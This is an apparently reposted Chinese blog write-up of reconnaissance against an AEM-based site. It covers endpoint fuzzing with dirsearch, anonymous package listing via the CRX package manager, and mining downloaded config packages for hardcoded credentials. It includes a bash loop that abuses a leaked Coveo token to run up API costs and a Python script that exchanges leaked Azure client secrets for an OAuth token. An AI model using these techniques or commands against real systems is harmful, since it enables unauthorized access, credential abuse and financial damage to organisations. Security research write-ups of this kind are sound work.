自学内容网 自学内容网

通过高效的侦察发现关键漏洞接管整个IT基础设施

  视频教程在我主页简介或专栏里

在这篇文章中, 我将深入探讨我是如何通过详细分析和利用暴露的端点、硬编码的凭据以及配置错误的访问控制,成功获取目标组织关键IT基础设施和云服务访问权限的全过程。

我们先提到目标网站的名称 https://*sub.domain*.com[1]

在我的主动侦察中,我发现目标使用 AEM 作为内容管理系统 (CMS),并且由 Java 驱动

图片

首先,我收集了用于 AEM CMS 和 JSP 的字典以及端点

然后,我进行了模糊测试 (fuzzing),并发现了一些有用的端点。

/crx/packmgr/index.jsp/etc.feed.xml/crx/bin.ext.json/crx/.ext.infinity.json

当我发现 /etc.feed.xml 时,找到了相关内容。

图片

然后引起我注意的是这个 URL:

https://sub.domain.com/etc/packages.feed.xml[2] 发现了许多包,这些包的格式如下:

https://sub.domain.com/etc/packages/{groupOfPackage}/{nameOfPackage}.zip

访问任何符合该格式的 URL 都可以下载任意包, 但在深入研究这些包后,没有发现任何有趣的内容

然后再次回到使用 JSP 字典对有趣的端点进行模糊测试。

dirsearch -u https://sub.domain.com/crx/packmgr/ --random-agent -i 200 -w jsp.txt

发现了这个端点:https://sub.domain.com**/crx/packmgr/service.jsp**

图片

我请我的朋友协助执行操作。然而,我们发现用户是 anonymous(匿名用户),除了通过添加 cmd 参数列出所有包之外,无法执行任何其他操作。

https://sub.domain.com/crx/packmgr/service.jsp?cmd=ls

图片

检索到约 1173 个包和约 100 个配置包。

想起可以使用以下格式下载这些包:

https://sub.domain.com/etc/packages/{groupOfPackage}/{nameOfPackage}.zip

于是,我编写了一个简单的脚本来下载所有包。然后,我深入研究了配置包发现了大量硬编码的凭据

1- 泄露了所有作者的邮箱

图片

2- Covo 服务配置(付费服务)

图片

for i in {1..10000}; do curl -X GET "https://platform.cloud.coveo.com/rest/search/v2?organizationId={clientId}&q=*" \ -H "Authorization: Bearer {accesstoken}" \ -H "Content-Type: application/json";done

我可以通过使用简单的 bash 脚本让组织损失大量资金,因为这个访问令牌是有效的。

3- 有效的凭据用于 API 管理并提供对托管在 https://sub3**.domain.com** 上的仓库的访问。**

图片

图片

4- ARIA-azure-凭据

图片

import requests
# Define the authentication parameterstenant_id = "{tenant_id}"client_id = "{client_id}"client_secret = "{client_secret}"scope = "https://sub.cloudapp.domain.com/.default"
# URL to get the OAuth tokentoken_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
# Define the request payloadpayload = { "grant_type": "client_credentials", "client_id": client_id, "client_secret": client_secret, "scope": scope}
# Make a POST request to get the tokenresponse = requests.post(token_url, data=payload)
# Check if the request was successfulif response.status_code == 200: # Parse the JSON response token_response = response.json() access_token = token_response.get("access_token") print("Access Token:", access_token)else: # If the request failed, print the error print("Failed to get the access token:", response.status_code, response.text)

这个 Python 脚本使用凭据检索 OAuth 访问令牌,以便与 api 交互,访问 https://sub.cloudapp.domain.com/

5- ServiceNow[3](IT 服务管理)

通过使用这些泄露的凭据,我拥有所有权限(创建、删除、编辑)

图片

图片

图片

图片

 

 视频教程在我主页简介或专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

 


原文地址:https://blog.csdn.net/2401_89294392/article/details/145131391

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!